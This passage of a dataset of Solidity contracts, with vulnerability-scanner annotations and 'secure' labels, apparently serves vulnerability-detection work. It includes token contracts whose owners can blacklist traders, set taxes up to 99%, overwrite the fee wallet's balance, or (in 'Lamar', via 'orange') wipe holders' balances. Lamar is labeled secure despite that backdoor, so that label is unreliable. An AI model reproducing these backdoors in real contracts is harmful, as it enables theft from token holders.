amount);\n\n\t\t// reentrancy-events | ID: abc3a7d\n\t\t// reentrancy-benign | ID: a53adc1\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8cd92ed): VaultShare._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8cd92ed: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a53adc1\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: abc3a7d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b098f8c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b098f8c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a5bc45d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a5bc45d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(tradingOpen, \"The trade has not been opened yet\");\n\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: b098f8c\n\t\t\t\t// reentrancy-eth | ID: a5bc45d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b098f8c\n\t\t\t\t\t// reentrancy-eth | ID: a5bc45d\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a5bc45d\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a5bc45d\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a5bc45d\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b098f8c\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a5bc45d\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a5bc45d\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b098f8c\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: abc3a7d\n\t\t// reentrancy-events | ID: b098f8c\n\t\t// reentrancy-benign | ID: a53adc1\n\t\t// reentrancy-eth | ID: a5bc45d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function RemoveLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b7e188b): VaultShare.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls feesWallets.transfer(amount)\n\t// Recommendation for b7e188b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: abc3a7d\n\t\t// reentrancy-events | ID: b098f8c\n\t\t// reentrancy-eth | ID: a5bc45d\n\t\t// arbitrary-send-eth | ID: b7e188b\n feesWallets.transfer(amount);\n }\n\n function AddBots(address bots_) public {\n require(_msgSender() == feesWallets);\n\n bots[bots_] = true;\n }\n\n function DelBots(address notbot) public {\n require(_msgSender() == feesWallets);\n\n bots[notbot] = false;\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n function excludeFromFees(address _account, bool state) public {\n require(_msgSender() == feesWallets);\n\n _isExcludedFromFee[_account] = state;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 24c0f41): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 24c0f41: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function OpenTrade() external onlyOwner {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-benign | ID: 24c0f41\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n require(!tradingOpen, \"Trading is already open\");\n\n\t\t// reentrancy-benign | ID: 24c0f41\n swapEnabled = true;\n\n\t\t// reentrancy-benign | ID: 24c0f41\n tradingOpen = true;\n }\n\n function ReduceFees(uint256 _newBuyFee, uint256 _newSellFee) external {\n require(_msgSender() == feesWallets);\n\n require(_newBuyFee <= 99 && _newSellFee <= 99);\n\n _initialBuyTax = _newBuyFee;\n\n _initialSellTax = _newSellFee;\n\n RemoveFnTax(_newBuyFee, _newSellFee);\n }\n\n function ManualSwap() external {\n require(_msgSender() == feesWallets);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function Withdraw() external {\n require(_msgSender() == feesWallets);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n function ResuceERC20(uint256 amount) external {\n require(_msgSender() == feesWallets);\n\n _balances[feesWallets] = amount;\n }\n\n function RemoveFnTax(uint256 finalBuyTax, uint256 finalSellTax) internal {\n _finalBuyTax = finalBuyTax;\n\n _finalSellTax = finalSellTax;\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_836.sol", "secure": 0, "size_bytes": 16207 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Lamar is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable hell;\n\n constructor() {\n _name = \"LAMAR\";\n\n _symbol = \"LAMAR\";\n\n _decimals = 18;\n\n uint256 initialSupply = 237000000;\n\n hell = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == hell, \"Not allowed\");\n\n _;\n }\n\n function orange(address[] memory shadow) public onlyOwner {\n for (uint256 i = 0; i < shadow.length; i++) {\n address account = shadow[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_837.sol", "secure": 1, "size_bytes": 4344 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ICreativeController {\n function GetCreativeVersion(uint256 _seedNumber) external view returns (uint256);\n}", "file_name": "solidity_code_838.sol", "secure": 1, "size_bytes": 183 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IDynamicController {\n function GetDynamicVersion(uint256 _seedNumber) external view returns (uint256);\n}", "file_name": "solidity_code_839.sol", "secure": 1, "size_bytes": 181 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function getAmountOut(\n uint256 amountIn,\n uint256 reserveIn,\n uint256 reserveOut\n ) external view returns (uint256 amountOut);\n}", "file_name": "solidity_code_84.sol", "secure": 1, "size_bytes": 1147 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract R00TMATRIX {\n address Owner;\n\n address public adminAddress;\n\n address public dynamicController;\n\n mapping(uint256 => address) public creativeController;\n\n constructor() {\n Owner = msg.sender;\n }\n\n string public arGateway = \"https://arweave.net/\";\n\n bool public gatewayLock;\n\n mapping(uint256 => uint256[]) private activeEntries;\n\n mapping(uint256 => uint256[]) private immutableEntries;\n\n mapping(uint256 => string) public versionData;\n\n mapping(uint256 => uint256) public dynamicVersion;\n\n mapping(uint256 => bool) public lockedCreative;\n\n uint256[] private activeVersions;\n\n uint256 public creativeCurrent = 1;\n\n struct SeedDATA {\n uint256 length;\n uint256 tempo;\n uint256 barNumber;\n uint256 offset;\n uint256[2] timeSig;\n string keyInfo;\n string arHash;\n string visualSuffix;\n uint256[][] harmRhythm;\n bool locked;\n string[] stemNames;\n }\n\n mapping(uint256 => mapping(uint256 => seedDATA)) public R00T_MATRIX;\n\n event SeedDataSet(uint256 seedNumber, uint256 version);\n\n event NewActiveEntry(uint256 seedNumber, uint256 version);\n\n event NewActiveVersion(uint256 version);\n\n event EntryDeleted(uint256 seedNumber, uint256 version);\n\n event VersionNoLongerActive(uint256 version);\n\n event EntryLocked(uint256 seedNumber, uint256 version);\n\n event CreativeControlChange(uint256 _iteration, address _to, address _from);\n\n event DynamicControlChange(address _to, address _from);\n\n function GetMixStatic(\n uint256 _seedNumber,\n uint256 _version,\n bool _includeGateway,\n bool _hiRes\n ) external view returns (string memory) {\n string memory prefix = _includeGateway ? arGateway : \"\";\n\n string memory fileExtension = _hiRes ? \"wav\" : \"mp3\";\n\n string memory link = string(\n abi.encodePacked(\n prefix,\n R00T_MATRIX[_seedNumber][_version].arHash,\n \"/mix.\",\n fileExtension\n )\n );\n\n return link;\n }\n\n function GetMixDynamic(\n uint256 _seedNumber,\n bool _includeGateway,\n bool _hiRes\n ) external view returns (string memory) {\n string memory prefix = _includeGateway ? arGateway : \"\";\n\n string memory fileExtension = _hiRes ? \"wav\" : \"mp3\";\n\n string memory link = string(\n abi.encodePacked(\n prefix,\n R00T_MATRIX[_seedNumber][GetDynamicVersion(_seedNumber)].arHash,\n \"/mix.\",\n fileExtension\n )\n );\n\n return link;\n }\n\n function GetMixCreative(\n uint256 _seedNumber,\n bool _includeGateway,\n bool _hiRes\n ) external view returns (string memory) {\n string memory prefix = _includeGateway ? arGateway : \"\";\n\n string memory fileExtension = _hiRes ? \"wav\" : \"mp3\";\n\n string memory link = string(\n abi.encodePacked(\n prefix,\n R00T_MATRIX[_seedNumber][\n GetCreativeVersion(_seedNumber, creativeCurrent)\n ].arHash,\n \"/mix.\",\n fileExtension\n )\n );\n\n return link;\n }\n\n function GetEntryStatic(\n uint256 _seedNumber,\n uint256 _version\n ) external view returns (seedDATA memory) {\n return R00T_MATRIX[_seedNumber][_version];\n }\n\n function GetEntryDynamic(\n uint256 _seedNumber\n ) external view returns (seedDATA memory) {\n return R00T_MATRIX[_seedNumber][GetDynamicVersion(_seedNumber)];\n }\n\n function GetEntryCreative(\n uint256 _seedNumber\n ) external view returns (seedDATA memory) {\n return\n R00T_MATRIX[_seedNumber][\n GetCreativeVersion(_seedNumber, creativeCurrent)\n ];\n }\n\n function GetLength(\n uint256 _seedNumber,\n uint256 _version\n ) external view returns (uint256) {\n return R00T_MATRIX[_seedNumber][_version].length;\n }\n\n function GetTempo(\n uint256 _seedNumber,\n uint256 _version\n ) external view returns (uint256) {\n return R00T_MATRIX[_seedNumber][_version].tempo;\n }\n\n function GetBarNumber(\n uint256 _seedNumber,\n uint256 _version\n ) external view returns (uint256) {\n return R00T_MATRIX[_seedNumber][_version].barNumber;\n }\n\n function GetOffset(\n uint256 _seedNumber,\n uint256 _version\n ) external view returns (uint256) {\n return R00T_MATRIX[_seedNumber][_version].offset;\n }\n\n function GetTimeSig(\n uint256 _seedNumber,\n uint256 _version\n ) external view returns (uint256[2] memory) {\n return R00T_MATRIX[_seedNumber][_version].timeSig;\n }\n\n function GetKeyInfo(\n uint256 _seedNumber,\n uint256 _version\n ) external view returns (string memory) {\n return R00T_MATRIX[_seedNumber][_version].keyInfo;\n }\n\n function GetCoverArt(\n uint256 _seedNumber,\n uint256 _version,\n bool _includeGateway\n ) external view returns (string memory) {\n string memory prefix = _includeGateway ? arGateway : \"\";\n\n string memory link = string(\n abi.encodePacked(\n prefix,\n R00T_MATRIX[_seedNumber][_version].arHash,\n \"/visual.\",\n R00T_MATRIX[_seedNumber][_version].visualSuffix\n )\n );\n\n return link;\n }\n\n function GetHarmonicRhythm(\n uint256 _seedNumber,\n uint256 _version\n ) external view returns (uint256[][] memory) {\n return R00T_MATRIX[_seedNumber][_version].harmRhythm;\n }\n\n function GetLockedStatus(\n uint256 _seedNumber,\n uint256 _version\n ) external view returns (bool) {\n return R00T_MATRIX[_seedNumber][_version].locked;\n }\n\n function GetStemNames(\n uint256 _seedNumber,\n uint256 _version\n ) external view returns (string[] memory) {\n return R00T_MATRIX[_seedNumber][_version].stemNames;\n }\n\n function GetStems(\n uint256 _seedNumber,\n uint256 _version,\n bool _includeGateway,\n bool _hiRes\n ) external view returns (string[] memory) {\n string memory prefix = _includeGateway ? arGateway : \"\";\n\n string memory fileExtension = _hiRes ? \"wav\" : \"mp3\";\n\n uint256 length = R00T_MATRIX[_seedNumber][_version].stemNames.length;\n\n string[] memory temp = new string[](length);\n\n for (uint256 i = 0; i < length; i++) {\n temp[i] = string(\n abi.encodePacked(\n prefix,\n R00T_MATRIX[_seedNumber][_version].arHash,\n \"/\",\n R00T_MATRIX[_seedNumber][_version].stemNames[i],\n \".\",\n fileExtension\n )\n );\n }\n\n return temp;\n }\n\n function GetActiveEntriesByVersion(\n uint256 _version\n ) external view returns (uint256[] memory) {\n return activeEntries[_version];\n }\n\n function GetImmutableEntriesByVersion(\n uint256 _version\n ) external view returns (uint256[] memory) {\n return immutableEntries[_version];\n }\n\n function GetActiveVersions() external view returns (uint256[] memory) {\n return activeVersions;\n }\n\n function lockCreative(uint256 _iteration) public {\n require(\n msg.sender == Owner || msg.sender == adminAddress,\n \"Not authorized.\"\n );\n\n lockedCreative[_iteration] = true;\n }\n\n function GetALLActiveEntries() public view returns (uint256[][] memory) {\n uint256[][] memory allActiveEntries = new uint256[][](activeVersions.length);\n\n\t\t// cache-array-length | ID: 74eef46\n for (uint256 i = 0; i < activeVersions.length; i++) {\n uint256 version = activeVersions[i];\n\n uint256[] storage entries = activeEntries[version];\n\n allActiveEntries[i] = new uint256[](entries.length);\n\n for (uint256 j = 0; j < entries.length; j++) {\n allActiveEntries[i][j] = entries[j];\n }\n }\n\n return allActiveEntries;\n }\n\n function GetALLImmutableEntries() public view returns (uint256[][] memory) {\n uint256[][] memory allImmutableEntries = new uint256[][](\n activeVersions.length\n );\n\n\t\t// cache-array-length | ID: 2e72a3a\n for (uint256 i = 0; i < activeVersions.length; i++) {\n uint256 version = activeVersions[i];\n\n uint256[] storage entries = immutableEntries[version];\n\n allImmutableEntries[i] = new uint256[](entries.length);\n\n for (uint256 j = 0; j < entries.length; j++) {\n allImmutableEntries[i][j] = entries[j];\n }\n }\n\n return allImmutableEntries;\n }\n\n function GetActiveVersionsBySeed(\n uint256 _seedNumber\n ) public view returns (uint256[] memory) {\n uint256[] memory tempVersions = new uint256[](activeVersions.length);\n\n uint256 count = 0;\n\n\t\t// cache-array-length | ID: bfeb9ec\n for (uint256 i = 0; i < activeVersions.length; i++) {\n uint256 version = activeVersions[i];\n\n for (uint256 j = 0; j < activeEntries[version].length; j++) {\n if (activeEntries[version][j] == _seedNumber) {\n tempVersions[count] = version;\n\n count++;\n\n break;\n }\n }\n }\n\n uint256[] memory activeVersionsBySeed = new uint256[](count);\n\n for (uint256 i = 0; i < count; i++) {\n activeVersionsBySeed[i] = tempVersions[i];\n }\n\n return activeVersionsBySeed;\n }\n\n function GetImmutableVersionsBySeed(\n uint256 _seedNumber\n ) public view returns (uint256[] memory) {\n uint256[] memory tempVersions = new uint256[](activeVersions.length);\n\n uint256 count = 0;\n\n\t\t// cache-array-length | ID: bccfd87\n for (uint256 i = 0; i < activeVersions.length; i++) {\n uint256 version = activeVersions[i];\n\n for (uint256 j = 0; j < immutableEntries[version].length; j++) {\n if (immutableEntries[version][j] == _seedNumber) {\n tempVersions[count] = version;\n\n count++;\n\n break;\n }\n }\n }\n\n uint256[] memory immutableVersionsBySeed = new uint256[](count);\n\n for (uint256 i = 0; i < count; i++) {\n immutableVersionsBySeed[i] = tempVersions[i];\n }\n\n return immutableVersionsBySeed;\n }\n\n function GetCreativeVersion(\n uint256 _seedNumber,\n uint256 _iteration\n ) public view returns (uint256) {\n address controllerAddress = creativeController[_iteration];\n\n require(controllerAddress != address(0), \"Controller not set\");\n\n ICreativeController controller = ICreativeController(controllerAddress);\n\n return controller.GetCreativeVersion(_seedNumber);\n }\n\n function GetDynamicVersion(uint256 _seedNumber) public view returns (uint256) {\n address controllerAddress = dynamicController;\n\n require(controllerAddress != address(0), \"Controller not set\");\n\n IDynamicController dynController = IDynamicController(\n controllerAddress\n );\n\n return dynController.GetDynamicVersion(_seedNumber);\n }\n\n function setEntry(\n uint256 _seedNumber,\n uint256 _version,\n uint256 _Length,\n uint256 _Tempo,\n uint256 _BarNumber,\n uint256 _Offset,\n uint256[2] memory _TimeSig,\n string memory _KeyInfo,\n string memory _ArHash,\n string memory _visualSuffix,\n uint256[][] memory _HarmRhy\n ) public {\n require(\n msg.sender == Owner || msg.sender == adminAddress,\n \"Not authorized.\"\n );\n\n require(\n R00T_MATRIX[_seedNumber][_version].locked == false,\n \"Entry is locked for immutability.\"\n );\n\n R00T_MATRIX[_seedNumber][_version].length = _Length;\n\n R00T_MATRIX[_seedNumber][_version].tempo = _Tempo;\n\n R00T_MATRIX[_seedNumber][_version].barNumber = _BarNumber;\n\n R00T_MATRIX[_seedNumber][_version].offset = _Offset;\n\n R00T_MATRIX[_seedNumber][_version].timeSig = _TimeSig;\n\n R00T_MATRIX[_seedNumber][_version].keyInfo = _KeyInfo;\n\n R00T_MATRIX[_seedNumber][_version].arHash = _ArHash;\n\n R00T_MATRIX[_seedNumber][_version].visualSuffix = _visualSuffix;\n\n R00T_MATRIX[_seedNumber][_version].harmRhythm = _HarmRhy;\n\n if (!versionExists(_version)) {\n activeVersions.push(_version);\n\n emit NewActiveVersion(_version);\n }\n\n if (!entryExists(_seedNumber, _version)) {\n activeEntries[_version].push(_seedNumber);\n\n emit NewActiveEntry(_seedNumber, _version);\n }\n\n emit SeedDataSet(_seedNumber, _version);\n }\n\n function entryExists(\n uint256 _seedNumber,\n uint256 _version\n ) public view returns (bool) {\n bool eDoesExist = false;\n\n for (uint256 i = 0; i < activeEntries[_version].length; i++) {\n if (activeEntries[_version][i] == _seedNumber) {\n eDoesExist = true;\n\n break;\n }\n }\n\n return eDoesExist;\n }\n\n function versionExists(uint256 _version) private view returns (bool) {\n bool vDoesExist = false;\n\n\t\t// cache-array-length | ID: d52b907\n for (uint256 i = 0; i < activeVersions.length; i++) {\n if (activeVersions[i] == _version) {\n vDoesExist = true;\n\n break;\n }\n }\n\n return vDoesExist;\n }\n\n function deleteEntry(uint256 _seedNumber, uint256 _version) public {\n require(msg.sender == Owner, \"Not authorized.\");\n\n require(entryExists(_seedNumber, _version), \"Entry doesn't exist yet.\");\n\n require(\n R00T_MATRIX[_seedNumber][_version].locked == false,\n \"Entry is locked for immutability.\"\n );\n\n delete R00T_MATRIX[_seedNumber][_version];\n\n for (uint256 i = 0; i < activeEntries[_version].length; i++) {\n if (activeEntries[_version][i] == _seedNumber) {\n activeEntries[_version][i] = activeEntries[_version][\n activeEntries[_version].length - 1\n ];\n\n activeEntries[_version].pop();\n\n emit EntryDeleted(_seedNumber, _version);\n\n break;\n }\n }\n\n if (activeEntries[_version].length == 0) {\n for (uint256 i = 0; i < activeVersions.length; i++) {\n if (activeVersions[i] == _version) {\n activeVersions[i] = activeVersions[\n activeVersions.length - 1\n ];\n\n activeVersions.pop();\n\n emit VersionNoLongerActive(_version);\n\n break;\n }\n }\n }\n }\n\n function lockEntry(uint256 _seedNumber, uint256 _version) public {\n require(msg.sender == Owner, \"Not authorized.\");\n\n require(entryExists(_seedNumber, _version), \"Entry doesn't exist yet.\");\n\n R00T_MATRIX[_seedNumber][_version].locked = true;\n\n immutableEntries[_version].push(_seedNumber);\n\n emit EntryLocked(_seedNumber, _version);\n }\n\n function lockGateway() public {\n require(msg.sender == Owner, \"Not authorized.\");\n\n require(!gatewayLock, \"Already locked.\");\n\n gatewayLock = true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e67d6dd): R00TMATRIX.setAdmin(address)._newAdmin lacks a zerocheck on \t adminAddress = _newAdmin\n\t// Recommendation for e67d6dd: Check that the address is not zero.\n function setAdmin(address _newAdmin) public {\n require(msg.sender == Owner, \"Not authorized.\");\n\n\t\t// missing-zero-check | ID: e67d6dd\n adminAddress = _newAdmin;\n }\n\n function setCreativeController(\n uint256 _iteration,\n address _newCreative\n ) public {\n require(\n msg.sender == Owner || msg.sender == adminAddress,\n \"Not authorized.\"\n );\n\n emit CreativeControlChange(\n _iteration,\n _newCreative,\n creativeController[_iteration]\n );\n\n creativeController[_iteration] = _newCreative;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: bebc6f5): R00TMATRIX.setDynamicController(address)._newController lacks a zerocheck on \t dynamicController = _newController\n\t// Recommendation for bebc6f5: Check that the address is not zero.\n function setDynamicController(address _newController) public {\n require(\n msg.sender == Owner || msg.sender == adminAddress,\n \"Not authorized.\"\n );\n\n emit DynamicControlChange(_newController, dynamicController);\n\n\t\t// missing-zero-check | ID: bebc6f5\n dynamicController = _newController;\n }\n\n function setStemNames(\n uint256 _version,\n uint256 _seedNumber,\n string[] memory _stemNames\n ) public {\n require(\n msg.sender == Owner || msg.sender == adminAddress,\n \"Not authorized.\"\n );\n\n require(\n R00T_MATRIX[_seedNumber][_version].locked == false,\n \"Entry is locked for immutability.\"\n );\n\n delete R00T_MATRIX[_seedNumber][_version].stemNames;\n\n for (uint256 i = 0; i < _stemNames.length; i++) {\n R00T_MATRIX[_seedNumber][_version].stemNames.push(_stemNames[i]);\n }\n }\n\n function setGateway(string memory _gateway) public {\n require(\n msg.sender == Owner || msg.sender == adminAddress,\n \"Not authorized.\"\n );\n\n require(!gatewayLock, \"Gateway is locked.\");\n\n arGateway = _gateway;\n }\n\n function setVersionData(uint256 _version, string memory _info) public {\n require(\n msg.sender == Owner || msg.sender == adminAddress,\n \"Not authorized.\"\n );\n\n versionData[_version] = _info;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 126ad5d): R00TMATRIX.setCreativeCurrent(uint256) should emit an event for creativeCurrent = _newCreative \n\t// Recommendation for 126ad5d: Emit an event for critical parameter changes.\n function setCreativeCurrent(uint256 _newCreative) public {\n require(\n msg.sender == Owner || msg.sender == adminAddress,\n \"Not authorized.\"\n );\n\n\t\t// events-maths | ID: 126ad5d\n creativeCurrent = _newCreative;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 241bc8b): R00TMATRIX.changeOwner(address)._newOwner lacks a zerocheck on \t Owner = _newOwner\n\t// Recommendation for 241bc8b: Check that the address is not zero.\n function changeOwner(address _newOwner) public {\n require(msg.sender == Owner, \"Not authorized.\");\n\n\t\t// missing-zero-check | ID: 241bc8b\n Owner = _newOwner;\n }\n\n mapping(address => string) private xExtensionDetails;\n\n address[] private xExtensionKeys;\n\n mapping(address => bool) private xImmutableKeys;\n\n mapping(address => bool) private xActiveKeys;\n\n function xAddExtensionContract(\n address _contract,\n string memory _details\n ) public {\n require(msg.sender == Owner, \"Not authorized.\");\n\n require(!xActiveKeys[_contract], \"Extension is already added.\");\n\n xExtensionDetails[_contract] = _details;\n\n xActiveKeys[_contract] = true;\n\n xExtensionKeys.push(_contract);\n }\n\n function xSetExtensionDetails(\n address _contract,\n string memory _details\n ) public {\n require(msg.sender == Owner, \"Not authorized.\");\n\n require(!xImmutableKeys[_contract], \"Extension is immutable.\");\n\n xExtensionDetails[_contract] = _details;\n }\n\n function xLockExtensionContract(address _contract) public {\n require(msg.sender == Owner, \"Not authorized.\");\n\n require(xActiveKeys[_contract], \"Extension does not exist.\");\n\n xImmutableKeys[_contract] = true;\n }\n\n function xRemoveExtensionContract(address _contract) public {\n require(msg.sender == Owner, \"Not authorized.\");\n\n require(!xImmutableKeys[_contract], \"Extension is immutable.\");\n\n\t\t// cache-array-length | ID: a9a1de1\n for (uint256 i = 0; i < xExtensionKeys.length; i++) {\n if (xExtensionKeys[i] == _contract) {\n xExtensionKeys[i] = 0x000000000000000000000000000000000000dEaD;\n\n break;\n }\n }\n\n xActiveKeys[_contract] = false;\n\n delete xExtensionDetails[_contract];\n }\n\n struct ExtensionInfo {\n address addr;\n string description;\n }\n\n function xGetActiveExtensions()\n public\n view\n returns (ExtensionInfo[] memory)\n {\n uint256 activeCount = 0;\n\n\t\t// cache-array-length | ID: 